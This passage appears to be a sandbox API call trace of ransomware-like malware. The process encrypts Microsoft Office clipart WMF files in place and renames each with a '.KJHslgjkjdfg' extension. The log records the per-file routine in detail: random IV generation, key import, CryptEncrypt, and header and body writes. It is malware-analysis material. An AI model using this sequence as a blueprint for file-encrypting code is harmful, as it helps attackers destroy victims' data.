office\\clipart\\pub60cor\\j0105398.wmf.kjhslgjkjdfg")) returned 1 [0193.057] CloseHandle (hObject=0x130) returned 1 [0193.057] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4fdc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105410.WMF", cAlternateFileName="")) returned 1 [0193.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.058] GetProcessHeap () returned 0x990000 [0193.058] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.058] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.058] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.058] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.061] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.061] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.061] GetProcessHeap () returned 0x990000 [0193.061] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.061] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.061] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.061] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.061] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.061] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.061] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.061] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.061] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.062] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.062] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.062] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.062] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4fdc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4fdc, lpOverlapped=0x0) returned 1 [0193.063] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4fe0, dwBufLen=0x4fe0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4fe0) returned 1 [0193.063] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.063] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4fe0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4fe0, lpOverlapped=0x0) returned 1 [0193.063] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.063] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x50b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.063] SetEndOfFile (hFile=0x130) returned 1 [0193.066] GetProcessHeap () returned 0x990000 [0193.066] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.066] GetProcessHeap () returned 0x990000 [0193.066] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.066] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf.kjhslgjkjdfg")) returned 1 [0193.068] CloseHandle (hObject=0x130) returned 1 [0193.068] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105412.WMF", cAlternateFileName="")) returned 1 [0193.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.069] GetProcessHeap () returned 0x990000 [0193.069] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.069] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.069] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.069] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.071] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.071] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.071] GetProcessHeap () returned 0x990000 [0193.071] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.071] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.071] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.071] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.071] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.071] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.071] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.071] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.071] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.072] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.072] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.072] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.072] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x24b8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x24b8, lpOverlapped=0x0) returned 1 [0193.073] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x24c0, dwBufLen=0x24c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x24c0) returned 1 [0193.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.073] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x24c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x24c0, lpOverlapped=0x0) returned 1 [0193.073] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.073] SetEndOfFile (hFile=0x130) returned 1 [0193.075] GetProcessHeap () returned 0x990000 [0193.075] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.075] GetProcessHeap () returned 0x990000 [0193.075] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.075] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf.kjhslgjkjdfg")) returned 1 [0193.076] CloseHandle (hObject=0x130) returned 1 [0193.076] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1864, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105414.WMF", cAlternateFileName="")) returned 1 [0193.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.077] GetProcessHeap () returned 0x990000 [0193.077] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.077] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.077] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.077] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0193.080] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.080] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.080] GetProcessHeap () returned 0x990000 [0193.080] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.080] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.080] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.080] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.080] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.080] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.080] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.080] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.080] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.080] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.081] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.081] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.081] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1864, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1864, lpOverlapped=0x0) returned 1 [0193.081] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1870, dwBufLen=0x1870 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1870) returned 1 [0193.081] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.082] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1870, lpOverlapped=0x0) returned 1 [0193.082] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.082] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.082] SetEndOfFile (hFile=0x130) returned 1 [0193.083] GetProcessHeap () returned 0x990000 [0193.083] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.083] GetProcessHeap () returned 0x990000 [0193.083] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.083] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf.kjhslgjkjdfg")) returned 1 [0193.084] CloseHandle (hObject=0x130) returned 1 [0193.084] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4928, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105490.WMF", cAlternateFileName="")) returned 1 [0193.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.085] GetProcessHeap () returned 0x990000 [0193.085] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.085] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.085] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.085] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.087] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.088] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.088] GetProcessHeap () returned 0x990000 [0193.088] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.088] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.088] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.088] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.088] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.088] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.088] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.088] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.088] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.088] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.088] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.088] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.089] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4928, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4928, lpOverlapped=0x0) returned 1 [0193.099] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4930, dwBufLen=0x4930 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4930) returned 1 [0193.099] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.099] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4930, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4930, lpOverlapped=0x0) returned 1 [0193.099] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.099] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.099] SetEndOfFile (hFile=0x130) returned 1 [0193.102] GetProcessHeap () returned 0x990000 [0193.102] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.102] GetProcessHeap () returned 0x990000 [0193.102] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.103] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf.kjhslgjkjdfg")) returned 1 [0193.104] CloseHandle (hObject=0x130) returned 1 [0193.104] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1424, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105496.WMF", cAlternateFileName="")) returned 1 [0193.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.105] GetProcessHeap () returned 0x990000 [0193.105] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.105] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.105] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.105] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, 